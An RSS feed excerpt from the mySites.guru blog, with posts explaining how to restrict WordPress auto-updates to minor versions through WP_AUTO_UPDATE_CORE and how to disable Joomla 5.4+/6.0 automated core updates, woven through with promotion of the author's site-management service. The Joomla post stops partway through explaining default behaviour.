&lt;p&gt;If you manage multiple WordPress sites, mySites.guru scans and monitors all of them from &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;one dashboard&lt;/a&gt; - £19.99/month, no per-site fees.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;For the full picture, see our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;complete security guide for agencies&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>malware</category><category>hacked</category><enclosure url="https://mysites.guru/_astro/is-my-wordpress-site-hacked.fri__GMr.png" length="0" type="image/png"/></item><item><title>How to Enforce Minor Upgrades Only in WordPress</title><link>https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/</link><guid isPermaLink="true">https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/</guid><description>Stop WordPress from jumping major versions automatically while still getting security patches. How WP_AUTO_UPDATE_CORE works.</description><pubDate>Thu, 12 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We&apos;ve been writing a lot about WordPress and Joomla automatic updates lately. Previous posts covered &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;stopping all WordPress auto-updates with one click&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;locking down plugin installs&lt;/a&gt;, and what happened when the &lt;a href=&quot;https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/&quot;&gt;WordPress 6.9.2 security release crashed sites&lt;/a&gt;. On the Joomla side, we looked at &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;disabling Joomla&apos;s new automated core upgrades&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;preventing accidental version jumps via update channels&lt;/a&gt;. This post covers the middle ground for WordPress: keep security patches coming, block major version jumps.&lt;/p&gt;
&lt;h2&gt;Why Aren&apos;t All WordPress Updates Equal?&lt;/h2&gt;
&lt;p&gt;WordPress has two types of core update, and the difference matters if you manage production sites.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Minor updates&lt;/strong&gt; (6.9 to 6.9.1, 6.9.1 to 6.9.2) are security patches and bug fixes. Small, targeted, designed not to break anything. WordPress has auto-applied these since version 3.7, and they rarely cause trouble. The &lt;a href=&quot;https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/&quot;&gt;6.9.2 through 6.9.4 security releases&lt;/a&gt; are a recent example -- patches that sites needed within hours.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Major updates&lt;/strong&gt; (6.8 to 6.9, &lt;a href=&quot;https://mysites.guru/blog/wordpress-7-requirements/&quot;&gt;6.9 to 7.0&lt;/a&gt;) introduce new features, change admin interfaces, update database schemas, deprecate functions, and sometimes alter how plugins interact with core. These are the updates that break things.&lt;/p&gt;
&lt;p&gt;You want minor updates to happen automatically -- security patches shouldn&apos;t wait. But you want to control when major updates happen, because you want to test first. WordPress has a constant for this: &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;How Does mySites.guru Handle This?&lt;/h2&gt;
&lt;p&gt;mySites.guru&apos;s WordPress Configuration audit reads &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; from every connected site during each &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt;. The connector checks whether the constant is defined and whether its value is exactly &lt;code&gt;&apos;minor&apos;&lt;/code&gt;. If not, the audit flags it.&lt;/p&gt;
&lt;p&gt;Click fix, and the connector writes &lt;code&gt;define(&apos;WP_AUTO_UPDATE_CORE&apos;, &apos;minor&apos;)&lt;/code&gt; to wp-config.php on the remote site. No SSH, no file editing, no logging into each WordPress admin.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;There&apos;s a separate check for &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;&lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt;&lt;/a&gt; too, because these two constants interact:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AUTOMATIC_UPDATER_DISABLED = true&lt;/code&gt; + &lt;code&gt;WP_AUTO_UPDATE_CORE = &apos;minor&apos;&lt;/code&gt; -- No auto-updates at all (the disabled flag overrides everything)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AUTOMATIC_UPDATER_DISABLED = false&lt;/code&gt; + &lt;code&gt;WP_AUTO_UPDATE_CORE = &apos;minor&apos;&lt;/code&gt; -- Only minor core updates auto-apply (the recommended setup)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you&apos;ve already &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disabled the full auto-updater&lt;/a&gt; and want to re-enable just security patches, you need to set &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; back to &lt;code&gt;false&lt;/code&gt; while keeping &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; at &lt;code&gt;&apos;minor&apos;&lt;/code&gt;. The mySites.guru dashboard shows both constants side by side so you can configure each site to the exact update behaviour you want. See the full list of configuration checks on the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features page&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;What Does WP_AUTO_UPDATE_CORE Do?&lt;/h2&gt;
&lt;p&gt;This constant in wp-config.php accepts three values:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Behaviour&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;true&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;All core updates happen automatically (minor and major)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;No core updates happen automatically&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&apos;minor&apos;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Only minor/security updates happen automatically&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The default behaviour when the constant isn&apos;t defined is that WordPress auto-applies minor updates. This has been the case since WordPress 3.7 introduced the automatic background update system.&lt;/p&gt;
&lt;p&gt;There&apos;s another wrinkle: WordPress automatically &lt;a href=&quot;https://developer.wordpress.org/reference/classes/wp_automatic_updater/is_vcs_checkout/&quot;&gt;disables all background updates&lt;/a&gt; if it detects version control. The auto-updater checks for &lt;code&gt;.git&lt;/code&gt;, &lt;code&gt;.svn&lt;/code&gt;, &lt;code&gt;.hg&lt;/code&gt;, and &lt;code&gt;.bzr&lt;/code&gt; directories, walking up from ABSPATH to the filesystem root. If it finds one, it won&apos;t auto-update anything - core, plugins, themes, or translations. The logic is in &lt;code&gt;WP_Automatic_Updater::is_vcs_checkout()&lt;/code&gt;, and you can override it with the &lt;code&gt;automatic_updates_is_vcs_checkout&lt;/code&gt; filter if you want auto-updates on a version-controlled site. But if you&apos;re deploying via Git and wondering why &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; seems to do nothing, this is probably why.&lt;/p&gt;
&lt;p&gt;The other common problem: many hosting providers, one-click installers, and site migration tools set &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; or leave it undefined, which can result in major updates being applied without warning.&lt;/p&gt;
&lt;p&gt;Note that &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; only controls WordPress core updates. Plugin and theme auto-updates are managed separately through the WordPress admin or with the &lt;code&gt;auto_update_plugin&lt;/code&gt; and &lt;code&gt;auto_update_theme&lt;/code&gt; filters. If you want to &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;stop all automatic updates entirely&lt;/a&gt;, you need the &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; constant instead -- but for most sites, minor-only core updates make more sense.&lt;/p&gt;
&lt;h2&gt;Why Are Major WordPress Auto-Updates Risky?&lt;/h2&gt;
&lt;p&gt;When major updates happen unattended, things break. A plugin that worked on 6.8 might call a function that&apos;s deprecated or removed in 6.9. The plugin author might have an update ready, but if WordPress core updates first, the site is down before anyone notices. Watching for &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;plugin vulnerabilities&lt;/a&gt; matters here too - a vulnerable plugin on a freshly updated core is a bad combination. The &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;WordPress vulnerability scanner&lt;/a&gt; gives you a cross-site view of every known CVE affecting your installed plugins.&lt;/p&gt;
&lt;p&gt;Themes are another weak point. Major updates sometimes change template hierarchy, block editor behaviour, or CSS loading order. Custom themes get hit hardest because they&apos;re rarely tested against pre-release WordPress builds. We saw this play out in real time when &lt;a href=&quot;https://mysites.guru/blog/wordpress-6-9-2-security-release-crashes-websites/&quot;&gt;WordPress 6.9.2 crashed sites&lt;/a&gt; running certain theme frameworks -- a security auto-update broke front-end rendering, and it took three releases in two days to sort it out.&lt;/p&gt;
&lt;p&gt;Database schema changes are the scariest part. Major updates occasionally modify tables, and if the update process gets interrupted -- server timeout, resource limits, a flaky connection -- you can end up with a half-migrated database that neither the old nor the new code can work with.&lt;/p&gt;
&lt;p&gt;And automatic updates skip staging entirely. You go from &quot;everything works&quot; to &quot;production is updated and you hope it works.&quot;&lt;/p&gt;
&lt;h2&gt;How Do You Set Up WordPress Minor-Only Updates Manually?&lt;/h2&gt;
&lt;p&gt;To restrict auto-updates to minor versions only, add this to wp-config.php:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define(&apos;WP_AUTO_UPDATE_CORE&apos;, &apos;minor&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Place it before the &lt;code&gt;/* That&apos;s all, stop editing! */&lt;/code&gt; comment. If the constant already exists with a different value, change it.&lt;/p&gt;
&lt;p&gt;For a single site, this is a two-minute job. For a portfolio of WordPress sites, the process looks more like:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;SSH into each server (or use file manager on each hosting account)&lt;/li&gt;
&lt;li&gt;Check the current value of &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Set it to &lt;code&gt;&apos;minor&apos;&lt;/code&gt; if it&apos;s not already&lt;/li&gt;
&lt;li&gt;Verify the change took effect&lt;/li&gt;
&lt;li&gt;Repeat for every site&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;And then keep checking. WordPress upgrades, hosting migrations, and platform auto-configuration tools can reset the value without telling you. You should also consider &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;locking down plugin installs&lt;/a&gt; so that nobody introduces untested code while you&apos;re carefully managing core updates.&lt;/p&gt;
&lt;h2&gt;The recommended WordPress update setup for production sites&lt;/h2&gt;
&lt;p&gt;The best approach is to &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disable automatic updates entirely&lt;/a&gt; and manage all updates through a proper deployment strategy: take &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backups&lt;/a&gt; first, test on staging, then &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;roll out in batches&lt;/a&gt; using the &lt;a href=&quot;https://mysites.guru/bulk-update-wordpress/&quot;&gt;bulk update WordPress&lt;/a&gt; tool so a bad update doesn&apos;t hit every site at once. That&apos;s how agencies and hosting providers who &lt;a href=&quot;https://mysites.guru/blog/how-to-manage-multiple-wordpress-sites-like-a-pro/&quot;&gt;manage large numbers of WordPress sites&lt;/a&gt; handle it.&lt;/p&gt;
&lt;p&gt;But if you can&apos;t commit to that workflow -- maybe you don&apos;t have staging environments for every site, or you don&apos;t check for updates often enough -- then minor-only auto-updates are a reasonable fallback:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Set &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; to &lt;code&gt;&apos;minor&apos;&lt;/code&gt; so security patches still come through&lt;/li&gt;
&lt;li&gt;Leave &lt;code&gt;AUTOMATIC_UPDATER_DISABLED&lt;/code&gt; at &lt;code&gt;false&lt;/code&gt; so the update mechanism actually works&lt;/li&gt;
&lt;li&gt;Turn off individual plugin and theme auto-updates -- handle those through your own workflow&lt;/li&gt;
&lt;li&gt;Use mySites.guru to see available major updates across all sites and apply them when you&apos;re ready&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It&apos;s a compromise. You&apos;re trading some control for the assurance that critical security patches won&apos;t sit waiting while you get around to them.&lt;/p&gt;
&lt;h2&gt;Can You See This Setting Across All Your Sites at Once?&lt;/h2&gt;
&lt;p&gt;mySites.guru also lets you view &lt;code&gt;WP_AUTO_UPDATE_CORE&lt;/code&gt; across every connected WordPress site on a single screen. You can see which sites have it set correctly, which ones don&apos;t, and toggle each one individually without leaving the page.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If you manage 20 sites, you fix 20 sites from one screen. If you manage 200, same screen. No spreadsheets, no SSH sessions, no logging into each WordPress admin to check a value buried in wp-config.php.&lt;/p&gt;
&lt;h2&gt;Ongoing monitoring with mySites.guru&lt;/h2&gt;
&lt;p&gt;Once minor-only updates are configured, mySites.guru keeps checking. The audit dashboard shows which sites have the correct setting, which have pending major updates, which have the auto-updater disabled entirely, and any sites where the configuration has drifted from what you set.&lt;/p&gt;
&lt;p&gt;This is how we handle other wp-config.php constants too -- &lt;a href=&quot;https://mysites.guru/blog/understanding-wordpress-debug-constants/&quot;&gt;debug settings&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;DISALLOW_FILE_MODS&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/remove-wordpress-logo-admin-bar-one-click/&quot;&gt;the WordPress admin bar logo&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/blog/remove-sample-page-hello-world-wordpress-one-click/&quot;&gt;leftover default content like the Sample Page&lt;/a&gt;. Monitor on every snapshot, flag anything that changed, offer a one-click fix.&lt;/p&gt;
&lt;p&gt;Without that kind of visibility across your whole portfolio, you&apos;re just hoping. Hoping every site still has the right setting, that no hosting migration reset it, and that nobody changed it during a support ticket three months ago.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/advanced-administration/upgrade/upgrading/&quot;&gt;Configuring Automatic Background Updates&lt;/a&gt; -- WordPress Developer Resources documentation on all update types and how to configure them&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/apis/wp-config-php/&quot;&gt;wp-config.php Constants Reference&lt;/a&gt; -- official reference for WP_AUTO_UPDATE_CORE, AUTOMATIC_UPDATER_DISABLED, and every other wp-config.php constant&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/classes/wp_automatic_updater/&quot;&gt;WP_Automatic_Updater Class Reference&lt;/a&gt; -- the class that handles all automatic background updates, including VCS checkout detection and the should_update logic&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/classes/wp_automatic_updater/is_vcs_checkout/&quot;&gt;is_vcs_checkout() Method Reference&lt;/a&gt; -- how WordPress detects Git, SVN, Mercurial, and Bazaar to disable auto-updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/hooks/allow_major_auto_core_updates/&quot;&gt;allow_major_auto_core_updates Filter&lt;/a&gt; -- filter hook for programmatic control over major version auto-updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/hooks/allow_minor_auto_core_updates/&quot;&gt;allow_minor_auto_core_updates Filter&lt;/a&gt; -- filter hook for programmatic control over minor version auto-updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/hooks/automatic_updates_is_vcs_checkout/&quot;&gt;automatic_updates_is_vcs_checkout Filter&lt;/a&gt; -- filter to override WordPress&apos;s version control detection&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/reference/functions/wp_version_check/&quot;&gt;wp_version_check() Function Reference&lt;/a&gt; -- the function WordPress uses to check for available core updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://make.wordpress.org/core/2013/10/25/the-definitive-guide-to-disabling-auto-updates-in-wordpress-3-7/&quot;&gt;The Definitive Guide to Disabling Auto Updates in WordPress 3.7&lt;/a&gt; -- the original Make WordPress Core post from when the auto-update system launched&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Version pinning is one of several strategies in our &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;updates at scale guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>updates</category><category>security</category><category>wp-config</category><category>auto-updates</category><enclosure url="https://mysites.guru/_astro/enforce-minor-upgrades-only-wordpress.p1BFexx7.png" length="0" type="image/png"/></item><item><title>How to Disable Automated Joomla Core Upgrades in Joomla 5.4+ and 6.0</title><link>https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/</guid><description>Joomla 5.4 and 6.0 auto-update your site without asking. How to disable Joomla automatic updates, why agencies should, and the TUF security model behind them.</description><pubDate>Wed, 11 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 5.4 and 6.0 introduced automated core updates. Your Joomla site can now register itself with Joomla.org&apos;s update infrastructure and apply core patches without anyone touching the admin panel. New installations have this enabled by default.&lt;/p&gt;
&lt;p&gt;If you manage client sites, you probably want to turn this off. Here&apos;s how.&lt;/p&gt;
&lt;h2&gt;How Do You Disable Automated Joomla Core Updates?&lt;/h2&gt;
&lt;h3&gt;Method 1: Using mySites.guru across all your sites&lt;/h3&gt;
&lt;p&gt;If you manage more than a handful of Joomla sites, logging into each one to toggle a setting is exactly the kind of repetitive work that eats your day. mySites.guru handles this from one screen.&lt;/p&gt;
&lt;p&gt;During each &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;site snapshot&lt;/a&gt;, mySites.guru checks the &lt;code&gt;autoupdate&lt;/code&gt; parameter in the &lt;code&gt;com_joomlaupdate&lt;/code&gt; configuration on every connected Joomla 5.4+ and 6.0+ site. If the parameter is missing or set to &lt;code&gt;1&lt;/code&gt;, the site is flagged as having an issue. The dashboard shows you all your Joomla sites with their current status at a glance:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Each site gets a simple toggle:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Green tick&lt;/strong&gt; = auto-updates are disabled (recommended)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Red cross&lt;/strong&gt; = auto-updates are not disabled - this is flagged as an issue&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Clicking the toggle sets the &lt;code&gt;autoupdate&lt;/code&gt; parameter to &lt;code&gt;0&lt;/code&gt; on the remote site, preventing Joomla from automatically upgrading until you change the setting back. For an agency managing dozens or hundreds of Joomla sites, this turns a multi-hour task into a few minutes of clicking through a filtered list.&lt;/p&gt;
&lt;p&gt;The same check also appears in the &lt;strong&gt;Joomla Configuration&lt;/strong&gt; section of each individual site&apos;s audit:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;One-way toggle by design&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;mySites.guru can disable auto-updates remotely, but it cannot enable them. If you decide you want automated updates on a specific site, you need to enable that directly in the Joomla administrator panel on version 5.4+. This is a deliberate safety measure - auto-updates should only be turned on with full awareness of what the feature does.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Combined with mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;update channel detection&lt;/a&gt;, you can see both &lt;em&gt;which versions&lt;/em&gt; your sites are being offered and &lt;em&gt;whether they&apos;ll install those versions automatically&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Method 2: Through the Joomla admin panel&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Log into the Joomla administrator panel&lt;/li&gt;
&lt;li&gt;Navigate to &lt;strong&gt;System → Joomla! Updates&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Options&lt;/strong&gt; in the toolbar&lt;/li&gt;
&lt;li&gt;Select the &lt;strong&gt;Automated Updates&lt;/strong&gt; tab&lt;/li&gt;
&lt;li&gt;Toggle the setting from &lt;strong&gt;Yes&lt;/strong&gt; to &lt;strong&gt;No&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Save &amp;amp; Close&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can also reach this from the Home Dashboard - look for the &quot;Automated Updates are disabled&quot; quick icon. If it shows an orange icon instead of green, automated updates are still enabled - click through to the settings to disable them.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Method 3: During installation (for new sites)&lt;/h3&gt;
&lt;p&gt;Since the opt-out mechanism was added, the Joomla installation wizard includes a &lt;strong&gt;Disable Automated Updates&lt;/strong&gt; button on the final screen after installation completes. Clicking it prevents the site from registering with the update server entirely.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;Don&apos;t miss the opt-out during installation&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-amber-800 dark:text-amber-300&quot;&amp;gt;The opt-out button appears only on the final installation screen. Once you delete the installation directory, there&apos;s no going back to that screen. If you miss it, disable automated updates through the admin panel (Method 2) instead.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Managing Joomla updates after disabling auto-updates&lt;/h2&gt;
&lt;p&gt;Disabling automated updates doesn&apos;t mean ignoring updates. It means you decide when they happen. A solid update workflow for agencies looks like this:&lt;/p&gt;
&lt;h3&gt;1. Monitor available updates from one dashboard&lt;/h3&gt;
&lt;p&gt;Use &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mySites.guru&apos;s update management&lt;/a&gt; to see which Joomla sites have pending core updates. You get this information from your regular site snapshots without logging into each site.&lt;/p&gt;
&lt;h3&gt;2. Test on a staging site first&lt;/h3&gt;
&lt;p&gt;Before applying a Joomla core update to a client&apos;s production site, test it on a staging copy. Check that all extensions work, forms submit correctly, and custom code still functions. This is the step that automated updates skip entirely.&lt;/p&gt;
&lt;h3&gt;3. Back up before updating&lt;/h3&gt;
&lt;p&gt;Make sure each site has a current backup before you apply the update. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup scheduling&lt;/a&gt; can automate this so you&apos;re not manually triggering backups across dozens of sites.&lt;/p&gt;
&lt;h3&gt;4. Apply updates in batches&lt;/h3&gt;
&lt;p&gt;With mySites.guru, you can &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;upgrade multiple Joomla sites&lt;/a&gt; from one dashboard. Apply the update to a small group first, verify everything is stable, then roll out to the rest. This gives you the speed of bulk updates with the safety of incremental rollout.&lt;/p&gt;
&lt;h3&gt;5. Document the change&lt;/h3&gt;
&lt;p&gt;If you provide &lt;a href=&quot;https://mysites.guru/blog/create-custom-client-white-label-reports-for-your-joomla-and-wordpress-sites/&quot;&gt;client reports&lt;/a&gt;, the update should appear in the report for that maintenance period. Automated updates that happen without your involvement don&apos;t show up in your documentation - another reason to keep updates in your own hands.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;What Do Joomla Automated Core Updates Actually Do?&lt;/h2&gt;
&lt;p&gt;Joomla 5.1 (April 2024) introduced &lt;strong&gt;The Update Framework (TUF)&lt;/strong&gt; to cryptographically secure the update process, but TUF alone didn&apos;t make updates automatic. It wasn&apos;t until Joomla 5.4 and 6.0 (both released October 2025) that fully automatic core updates arrived, built on top of that TUF foundation. The process has four steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Your Joomla site registers itself with a centralized server on Joomla.org infrastructure and receives a unique authentication token.&lt;/li&gt;
&lt;li&gt;The remote server uses that token to signal your site that an update is available.&lt;/li&gt;
&lt;li&gt;Your site (not the remote server) downloads the update package and installs it. The process is pull-based: the remote server cannot push code to your site directly.&lt;/li&gt;
&lt;li&gt;After a successful update, all super users on the site receive an email notification.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Only Joomla core files are updated. Third-party extensions, templates, and plugins are left untouched - if you want control over extension updates, that&apos;s a separate mechanism covered in our guide to &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates for any Joomla extension&lt;/a&gt;. The core-only scope is actually a large part of the problem for agencies.&lt;/p&gt;
&lt;h3&gt;What data does registration collect?&lt;/h3&gt;
&lt;p&gt;When your site registers with the autoupdate.joomla.org service, it sends technical information about your environment: &lt;code&gt;php_version&lt;/code&gt;, &lt;code&gt;db_type&lt;/code&gt;, &lt;code&gt;db_version&lt;/code&gt;, &lt;code&gt;cms_version&lt;/code&gt;, and &lt;code&gt;server_os&lt;/code&gt;. An authentication token is generated and stored on both the Joomla update server and your site. This token is how the remote server authenticates requests to your site&apos;s API.&lt;/p&gt;
&lt;p&gt;The registration also creates new REST API endpoints on your site through &lt;code&gt;com_joomlaupdate&lt;/code&gt;&apos;s webservices integration. These endpoints allow the update server to communicate with your Joomla installation, checking status and triggering the update process.&lt;/p&gt;
&lt;h3&gt;How updates get applied without admin login&lt;/h3&gt;
&lt;p&gt;The update mechanism bypasses the traditional &lt;code&gt;/administrator/&lt;/code&gt; login flow entirely. Instead of going through the admin panel, the remote server communicates with your site through Joomla&apos;s &lt;code&gt;/api&lt;/code&gt; endpoints, proxied through &lt;code&gt;/index.php&lt;/code&gt;. This means even if you&apos;ve locked down your admin panel with IP restrictions, password-protected directories, or &lt;code&gt;.htaccess&lt;/code&gt; rules, the automated update system can still reach your site through the front-end API path.&lt;/p&gt;
&lt;p&gt;That&apos;s by design: the update needs to work without human interaction, so it can&apos;t rely on an authenticated admin session. But it does mean there&apos;s an additional attack surface to consider, even if TUF protections make exploitation difficult.&lt;/p&gt;
&lt;h3&gt;Requirements for automated updates to work&lt;/h3&gt;
&lt;p&gt;Automated updates won&apos;t activate unless all of these are true:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The site must be &lt;strong&gt;publicly accessible&lt;/strong&gt; on the internet (localhost and intranet sites are excluded)&lt;/li&gt;
&lt;li&gt;The update channel must be set to &lt;strong&gt;Default&lt;/strong&gt; (not &quot;Joomla Next&quot; or &quot;Testing&quot; - see our guide on &lt;a href=&quot;https://mysites.guru/blog/how-to-prevent-accidental-joomla-version-jumps/&quot;&gt;Joomla update channels&lt;/a&gt; for why this matters)&lt;/li&gt;
&lt;li&gt;Minimum stability must be set to &lt;strong&gt;Stable&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The site must be running &lt;strong&gt;Joomla 5.4 or higher&lt;/strong&gt; (or 6.0+)&lt;/li&gt;
&lt;li&gt;Working mail configuration (for post-update notification emails)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;The default behavior depends on how the site was installed&lt;/h3&gt;
&lt;p&gt;This is the part that catches people off guard:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;New installations&lt;/strong&gt; of Joomla 5.4+ or 6.0+: automated updates are &lt;strong&gt;enabled by default&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites upgraded&lt;/strong&gt; from Joomla 5.3 or earlier to 5.4+: automated updates are &lt;strong&gt;disabled by default&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
